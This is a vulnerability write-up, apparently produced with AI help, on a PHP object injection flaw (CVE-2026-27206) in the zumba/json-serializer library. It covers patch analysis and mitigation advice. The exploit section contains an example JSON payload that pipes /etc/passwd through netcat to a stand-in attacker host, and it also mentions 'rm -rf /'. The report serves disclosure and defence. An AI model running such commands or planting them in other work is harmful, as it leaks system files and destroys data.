CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-27206

The Zumba Class Dance: RCE via PHP Object Injection in json-serializer

Alon Barad
Alon Barad
Software Engineer

Feb 21, 2026·5 min read·63 visits

Executive Summary (TL;DR)

Zumba Json Serializer <= 3.2.2 blindly trusts the `@type` field in JSON input, allowing attackers to instantiate any PHP class. If a 'gadget' class exists in the application, this leads to RCE. The fix in 3.2.3 introduces an allowlist, but it defaults to 'allow all' for backward compatibility, leaving updated applications vulnerable unless explicitly configured.

A high-severity PHP Object Injection vulnerability exists in the Zumba Json Serializer library. By trusting user-controlled type hints in JSON payloads, the library allows attackers to instantiate arbitrary classes, leading to Remote Code Execution (RCE) via magic method gadget chains. While a patch exists, it requires manual configuration to be effective.

The Hook: When JSON Gets Too Smart

We all love JSON. It’s simple, text-based, and usually dumb as a rock. That’s a good thing. But sometimes, developers want their JSON to be smart. They want it to remember that { "foo": "bar" } isn't just an array, but an instance of UserPreferenceStrategy. Enter zumba/json-serializer, a PHP library designed to serialize complex objects into JSON and resurrect them later.

To pull off this necromancy, the library embeds metadata—specifically a @type field—into the JSON. When the library parses this JSON, it looks at that field and says, "Aha! I need to spin up a new instance of this class." It’s a convenient feature for developers who want to persist state without writing boilerplate code.

Unfortunately, this convenience is also a loaded gun. In the security world, we call this PHP Object Injection (POI). If you let an attacker tell your application what class to instantiate, you aren't just parsing data anymore; you're handing over the keys to the runtime environment. It’s like letting a stranger order off a secret menu where one of the items is "burn the restaurant down."

The Flaw: Blind Trust in Type Hints

The root cause, identified as CWE-502 (Deserialization of Untrusted Data), lives in the unserializeObject method of the JsonSerializer class. Prior to version 3.2.3, the library operated on a policy of absolute trust. It would take the string value provided in the @type key and feed it directly into PHP's reflection mechanisms to instantiate the object.

There were no guardrails. No bouncers at the door checking the guest list. If the JSON payload contained "@type": "GuzzleHttp\\Client", the library would happily try to create a Guzzle client. If it contained "@type": "Monolog\\Handler\\StreamHandler", it would create that too.

The logic was straightforward but fatal: read the type, load the class, populate properties. The library assumed that the JSON only came from trusted sources—a classic fallacy in web development. In reality, if this library is used to process API requests, cookies, or queued jobs, that JSON is coming from the wild, untamed internet.

The Code: Analyzing the Patch

The fix arrived in version 3.2.3 via commit bf26227879adefce75eb9651040d8982be97b881. The maintainers introduced an allowlist mechanism. Instead of instantiating whatever the JSON demands, the developer can now define exactly which classes are permitted.

Here is the critical logic added to unserializeObject:

// The Fix: Check against an allowlist
if ($this->allowedClasses !== null && !in_array($className, $this->allowedClasses, true)) {
    throw new JsonSerializerException(
        'Class ' . $className . ' is not allowed for deserialization. ' .
        'Use setAllowedClasses() to configure the list of allowed classes.'
    );
}

> [!WARNING] > Here is the catch: To maintain backward compatibility, the $allowedClasses property defaults to null. In this library's logic, null means "allow everything."

This is a classic "opt-in security" pattern. Simply running composer update does not fix the vulnerability. The code is patched, but the door is still unlocked until you explicitly call setAllowedClasses([...]). It’s a patch that acts more like a toolbox than a shield.

The Exploit: Building a Gadget Chain

To turn this instantiation primitive into Remote Code Execution, we need a Gadget Chain. In PHP, this relies on "Magic Methods"—specifically __wakeup() (called on creation) and __destruct() (called when the object is destroyed/garbage collected).

An attacker constructs a JSON payload that references a class known to exist in the application's dependencies (e.g., a vulnerable version of Monolog or a framework component). This class usually has a destructor that performs unsafe operations on its properties, like deleting a file or executing a shell command.

Here is the attack flow:

  1. Recon: Attacker identifies the target is using zumba/json-serializer.
  2. Gadget Hunt: Attacker scans composer.json or error logs to find available classes with dangerous destructors.
  3. Payload Crafting: Attacker crafts JSON setting @type to the gadget class and populating properties with malicious commands.
  4. Execution: The library instantiates the object. When the script ends, the object is destroyed, the destructor fires, and the server executes rm -rf /.
{
    "@type": "VulnerableLib\\DestructiveClass",
    "command": "cat /etc/passwd | nc attacker.com 1337"
}

The Mitigation: How to actually fix it

If you are using zumba/json-serializer, you have two tasks. First, update the library. Second, change your code. If you skip step two, you are still vulnerable.

Step 1: Update to version 3.2.3.

Step 2: Configure the allowlist. You must explicitly tell the serializer which classes are safe to hydrate. If you only expect User objects, only allow User objects.

$serializer = new Zumba\JsonSerializer\JsonSerializer();
 
// LOCK IT DOWN
$serializer->setAllowedClasses([
    MyApp\Models\User::class,
    MyApp\Models\Product::class,
    stdClass::class // Don't forget stdClass if you use it!
]);
 
$user = $serializer->unserialize($json);

If you cannot define an allowlist because your data is too dynamic, you are likely using the wrong tool for the job. Consider using standard json_decode($json, true) which returns arrays and is immune to object injection attacks.

Official Patches

ZumbaFix commit implementing allowed classes check

Fix Analysis (1)

Technical Appendix

CVSS Score
8.1/ 10
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Affected Systems

PHP Applications using zumba/json-serializer < 3.2.3

Affected Versions Detail

Product
Affected Versions
Fixed Version
json-serializer
zumba
< 3.2.33.2.3
AttributeDetail
CWE IDCWE-502
CVSS Score8.1 (High)
Attack VectorNetwork
ImpactRemote Code Execution (RCE)
Exploit StatusProof of Concept (PoC) Available
Vulnerability TypePHP Object Injection

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1059Command and Scripting Interpreter
Execution
CWE-502
Deserialization of Untrusted Data

The application deserializes untrusted data without sufficiently verifying that the resulting data will be valid.

Known Exploits & Detection

GitHub Security AdvisoryOfficial advisory containing the PoC payload structure.

Vulnerability Timeline

Vulnerability fixed in repository
2026-02-18
Public disclosure and GHSA publication
2026-02-21

References & Sources

  • [1]GHSA-v7m3-fpcr-h7m2
  • [2]Release 3.2.3

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•9 days ago•CVE-2026-9354
6.9

CVE-2026-9354: Arbitrary Mass Mention Bypass in NousResearch hermes-agent Slack and Mattermost Adapters

A vulnerability in the Slack and Mattermost platform adapters for NousResearch hermes-agent permits an unauthenticated remote attacker to execute arbitrary mass mentions. By leveraging prompt injection, an attacker can bypass output sanitization logic and trigger workspace-wide notification exhaustion.

Alon Barad
Alon Barad
38 views•6 min read
•9 days ago•CVE-2026-9306
6.3

CVE-2026-9306: Unauthenticated Insecure Direct Object Reference (IDOR) in QuantumNous new-api Midjourney Relay

CVE-2026-9306 is a critical unauthenticated Insecure Direct Object Reference (IDOR) vulnerability located in the QuantumNous new-api application, affecting versions up to and including 0.12.1. The flaw is caused by improper middleware ordering combined with a lack of object-level authorization checks. This allows remote, unauthenticated attackers to retrieve sensitive Midjourney images belonging to other users by supplying a valid task identifier.

Amit Schendel
Amit Schendel
17 views•5 min read
•10 days ago•GHSA-GGXF-37HM-9WQF
6.5

GHSA-GGXF-37HM-9WQF: Session Leakage via Unsafe Challenge Path Parsing in instagrapi

The instagrapi library prior to version 2.6.9 contains an improper input validation vulnerability within its challenge handling mechanism. Maliciously crafted server responses can manipulate the client into forwarding session cookies and credentials to an external attacker-controlled domain.

Amit Schendel
Amit Schendel
21 views•6 min read
•10 days ago•GHSA-QQQM-5547-774X
9.1

GHSA-QQQM-5547-774X: Unauthenticated Path Traversal in FileBrowser Quantum PATCH Handler

GHSA-QQQM-5547-774X is a critical path traversal vulnerability in the FileBrowser Quantum application, specifically within the Go backend package. The vulnerability resides in the HTTP handler responsible for processing bulk file modifications via the public API. Unauthenticated attackers can exploit an order-of-operations flaw in the path sanitization logic to bypass intended directory restrictions. This allows adversaries to arbitrarily read, move, and overwrite files on the underlying filesystem by supplying specially crafted HTTP PATCH requests.

Alon Barad
Alon Barad
12 views•6 min read
•10 days ago•CVE-2026-8723
5.3

CVE-2026-8723: Synchronous Denial of Service in qs npm Package via TypeError

The qs query string parsing and serialization library for Node.js is vulnerable to a synchronous Denial of Service (DoS) attack. The vulnerability manifests as a process-terminating TypeError when processing arrays with null or undefined elements under specific configuration parameters.

Amit Schendel
Amit Schendel
38 views•7 min read
•10 days ago•GHSA-7M8F-HGJQ-8GC9
7.5

GHSA-7M8F-HGJQ-8GC9: Pre-Authentication Denial of Service via Insecure Deserialization Order in aiosend

The aiosend library prior to version 3.0.6 contains a pre-authentication Denial of Service (DoS) vulnerability in its webhook handling mechanism. The software processes and deserializes incoming JSON payloads before verifying the cryptographic signature, allowing unauthenticated attackers to exhaust server CPU and memory resources by sending large, complex payloads.

Amit Schendel
Amit Schendel
4 views•6 min read